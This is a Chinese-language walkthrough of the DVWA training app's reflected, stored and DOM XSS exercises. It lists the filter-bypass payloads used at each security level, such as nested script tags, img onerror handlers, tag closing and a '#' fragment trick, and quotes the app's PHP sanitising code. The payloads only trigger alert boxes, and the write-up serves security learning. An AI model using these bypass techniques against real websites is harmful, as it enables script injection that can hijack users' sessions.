XSS(跨站脚本攻击)
进行跨站脚本攻击时,恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
XSS(Reflected)
Security Level Low
直接输入<script>alert('XSS')</script>
,实现弹窗,并没有发现过滤。
Security Level Medium
输入<script>alert('XSS')</script>
,没有弹窗,而是给出回显Hello alert('XSS')
。猜测过滤掉了<script>标签对。
尝试双写script绕过,不行。要内嵌<script>,标签<scr<script>ipt>alert('XSS')</sc<script>ript>
Security Level High
输入<script>alert('XSS')</script>
被过滤得只剩下>
,尝试输入<script
,全被过滤了。输入<script></script>123123
,回显>123123
。
初步猜测过滤了<script></script>
标签对之间的内容。那就不用script呗。。
输入<img src=1 onerror=alert('xss')>
,插入一张图片,他的连接(src)为“1”(或者其他什么奇奇怪怪反正就会出错的),如果找不到(出错),就弹窗。
Security Level Impossible
(挠头)
XSS (Stored)
Security Level Low
直接输入 <script>alert('XSS')</script>
,实现弹窗,并没有发现过滤。
Security Level Medium
直接输入<script>alert('XSS')</script>
,剩下alert('XSS')
。输入<>
,被过滤。
发现"
和被转义了。
猜测是尖括号对里面的内容过滤了。
查看源码(=_=),发现$message = htmlspecialchars( $message );
,内容框里面的内容被编码了,估计是没办法从这里着手。
再看,发现名字栏的过滤并不严谨,$name = str_replace( '<script>', '', $name );
,只是把<script>
标签替换成空格,尝试双写<script>
,发现输入框并不够长。。。
抓包试试看咯,抓包,修改名字栏<scr<script>ipt>alert('xss')</scr<script>ipt>
,实现弹窗。
Security Level High
查看源码,$message = htmlspecialchars( $message );
,$name = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
判断还是从名字栏注入,过滤了script标签,那就不用这个标签了咯。
抓包,修改成<img src=# onerror=alert('xss')>
, 弹窗。
XSS (DOM)
Security Level Low
直接在地址栏上修改dvwa/vulnerabilities/xss_d/?default=Spanish<script>alert('xss')</script>
,实现弹窗。
Security Level Medium
查看源码发现过滤了script标签,改用img 标签。。但是就死活弹不出窗。。。
后来发现要先闭合原来的标签对,再插入img标签。script标签是javascript的标签,img 是html的标签。
例子:
<select>
<option value ="volvo">Volvo</option>
<option value ="saab">Saab</option>
<option value="opel">Opel</option>
<option value="audi"></option></select><img src='' onerror='alert(123)'></option>
</select>
Security Level High
查看源码,利用了case语句来对输入进行筛选。
然后,利用php与javascript注释格式的不一样来进行注入。
php在#
后面的内容作为注释,也就是说#
是作为php的一个注释符。而#
在javascript却不是。利用 这个不同点来进行注入,构造内容#<script>alert('xss')</script>
实现弹窗。